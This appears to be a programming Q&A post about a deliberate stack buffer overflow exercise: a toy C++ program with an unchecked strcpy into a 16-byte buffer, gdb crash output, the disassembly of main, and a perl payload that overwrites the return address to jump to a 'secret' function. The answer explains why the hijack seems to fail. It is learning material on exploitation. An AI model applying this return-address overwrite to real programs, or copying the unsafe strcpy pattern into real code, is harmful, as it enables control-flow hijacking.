C ++中的故意缓冲区溢出

Question

I'm pretty sure I'm doing this correct, I've followed many tutorials but can't get this example to work for me. My goal is to call 'secret'

So I have this c++ program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

void secret() {
    printf( "You Won!");
}
int check(char *name) {
    char buffer[16];

    strcpy( buffer, name );

    printf( "Your name is: %s \n", buffer);
    srand(time(NULL));

    return rand();
}
int main(int argc, char **argv) {
    int randnum;
    randnum = check(argv[1]);
    if(randnum < 5) {
        secret();
    } else {
        return( 0 );
    }

return( 0 );
}

I then feed it into gdb and I run it, overflowing the buffer until I get:

(gdb) run AAAABBBBAAAABBBBAAAABBBBAAAACCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: ... AAAABBBBAAAABBBBAAAABBBBAAAACCCC
Your name is: AAAABBBBAAAABBBBAAAABBBBAAAACCCC 
The buffer address is [0xffffd960].

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

So CCCC is the return address. So in gdb I run 'disas main' returning:

   0x08048524 <+0>: lea    0x4(%esp),%ecx
   0x08048528 <+4>: and    $0xfffffff0,%esp
   0x0804852b <+7>: pushl  -0x4(%ecx)
   0x0804852e <+10>:    push   %ebp
   0x0804852f <+11>:    mov    %esp,%ebp
   0x08048531 <+13>:    push   %ecx
   0x08048532 <+14>:    sub    $0x14,%esp
   0x08048535 <+17>:    mov    %ecx,%eax
   0x08048537 <+19>:    mov    0x4(%eax),%eax
   0x0804853a <+22>:    add    $0x4,%eax
   0x0804853d <+25>:    mov    (%eax),%eax
   0x0804853f <+27>:    sub    $0xc,%esp
   0x08048542 <+30>:    push   %eax
   0x08048543 <+31>:    call   0x80484c4 <check(char*)>
   0x08048548 <+36>:    add    $0x10,%esp
   0x0804854b <+39>:    mov    %eax,-0xc(%ebp)
   0x0804854e <+42>:    cmpl   $0x4,-0xc(%ebp)
   0x08048552 <+46>:    jg     0x8048560 <main(int, char**)+60>
   0x08048554 <+48>:    call   0x80484ab <secret()>
   0x08048559 <+53>:    mov    $0x0,%eax
   0x0804855e <+58>:    jmp    0x8048565 <main(int, char**)+65>
   0x08048560 <+60>:    mov    $0x0,%eax
   0x08048565 <+65>:    mov    -0x4(%ebp),%ecx
   0x08048568 <+68>:    leave  
   0x08048569 <+69>:    lea    -0x4(%ecx),%esp
   0x0804856c <+72>:    ret  

So I try the input : (gdb) run $(perl -e 'print "A"x28 . "\\xab\\x84\\x04\\x08"x1')

and I get:

Program received signal SIGSEGV, Segmentation fault. 0xffffdb00 in ?? ()

Why isn't this working? Is it possible to overflow the condition to becomming true?

Answer 1

Edit: I assume you are learning about security and experimenting with buffer overflows. You may want to clarify for others that you are not trying to write programs like that.

The way you are doing seems correct, I think the secret function is called but the program crashes when it returns from it. The "You Won!" text is not printed out because it wasn't flushed from some buffer. You can try to put breakpoint on the secret function and you should see that it is being called. You can also add new line \\n at the end of the string to help flush it out before the program dies.

If you would like to let the secret happen and then quit the program correctly, it would require more sophisticated input data.